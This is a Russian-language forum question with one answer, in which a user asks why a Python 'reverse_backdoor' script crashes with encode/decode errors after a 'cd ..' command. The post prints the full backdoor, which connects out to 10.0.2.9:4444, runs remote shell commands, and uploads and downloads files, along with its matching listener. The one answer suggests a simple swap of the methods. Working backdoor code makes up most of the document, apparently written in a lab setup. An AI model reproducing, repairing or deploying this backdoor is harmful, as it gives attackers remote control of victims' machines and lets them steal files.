Сложности в реализации функций decode и encode

В общем, при использовании функций decode, encode (без данных функций, невозможно использовать скрипт), на начальном этапе код отрабатывает нормально, до того момента пока я не использую команду cd .. (я могу находиться только там, откуда запущен мой скрипт) :

def reliable_send(self, data):
    json_data = json.dumps(data.decode())
    self.connection.send(json_data.encode())

Далее когда я использую команду cd .. он падает и выдаёт Traceback (хотя строка одна и та же):

File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 15, in reliable_send                                           
    json_data = json.dumps(data.encode())                                                                               
    AttributeError: 'bytes' object has no attribute 'encode'. Did you mean: 'decode'? 

При замене в скрипте на то что он предлагает и опять же при использовании cd .., скрипт выдаёт:

File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 15, in reliable_send                                           
    json_data = json.dumps(data.decode())                                                                               
    AttributeError: 'str' object has no attribute 'decode'. Did you mean: 'encode'?  

Вот весь код:

#!/usr/bin/env python
import os
import socket
import subprocess
import json
import base64


class Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

def reliable_send(self, data):
    json_data = json.dumps(data.decode())
    self.connection.send(json_data.encode())

def reliable_receive(self):
    while True:
        try:
            json_data = self.connection.recv(1024)
            return json.loads(json_data.decode('UTF-8'))
        except ValueError:
            continue

def execute_system_command(self, command):
    return subprocess.check_output(command, shell=True)

def change_working_directory_to(self, path):
    os.chdir(path)
    return "[+] Changing working directory to " + path

def read_file(self, path):
    with open(path, 'rb') as file:
        return base64.b64encode(file.read())

def write_file(self, path, content):
    with open(path, 'wb') as file:
        file.write(base64.b64decode(content))
        return "[+] Upload successful."

def run(self):
    while True:
        command = self.reliable_receive()
        if command[0] == 'exit':
            self.connection.close()
            exit()
        elif command[0] == 'cd' and len(command) > 1:
            command_result = self.change_working_directory_to(command[1])
        elif command[0] == 'download':
            command_result = self.read_file(command[1])
        elif command[0] == 'upload':
            command_result = self.write_file(command[1], command[2])
        else:
            command_result = self.execute_system_command(command)
        self.reliable_send(command_result)

my_backdoor = Backdoor('10.0.2.9', 4444)
my_backdoor.run()

Также не знаю насколько это нужно, но вот сам скрипт, который взаимодействует со скриптом выше:

#!/usr/bin/env python
import socket, json, base64


class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print('[+] Waiting for incoming connections')
        self.connection, address = listener.accept()
        print('[+] Got a connection from ' + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode())

    def reliable_receive(self):
        while True:
            try:
                json_data = self.connection.recv(1024)
                return json.loads(json_data.decode('UTF-8'))
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)

        if command[0] == 'exit':
            self.connection.close()
            exit()
        return self.reliable_receive()

    def write_file(self, path, content):
        with open(path, 'wb') as file:
            file.write(base64.b64decode(content))
            return  "[+] Download successful."

    def read_file(self, path):
        with open(path, 'rb') as file:
            return base64.b64encode(file.read())

    def run(self):
        while True:
            command = input('>> ')
            command = command.split(' ')

            if command[0] == "upload":
                file_content = self.read_file(command[1])
                command.append(file_content)

            result = self.execute_remotely(command)

            if command[0] == "download":
                result = self.write_file(command[1], result)

            print(result)

my_listener = Listener('10.0.2.9', 4444)
my_listener.run()

Ответы (1 шт):

Автор решения: RandomDice 779

Так тут элементарные ошибки... В json_data = json.dumps(data.encode()) меняйте encode на decode, а в json_data = json.dumps(data.decode()) decode на encode меняйте... У тебя же прямо в ошибке написано, как исправить...

→ Ссылка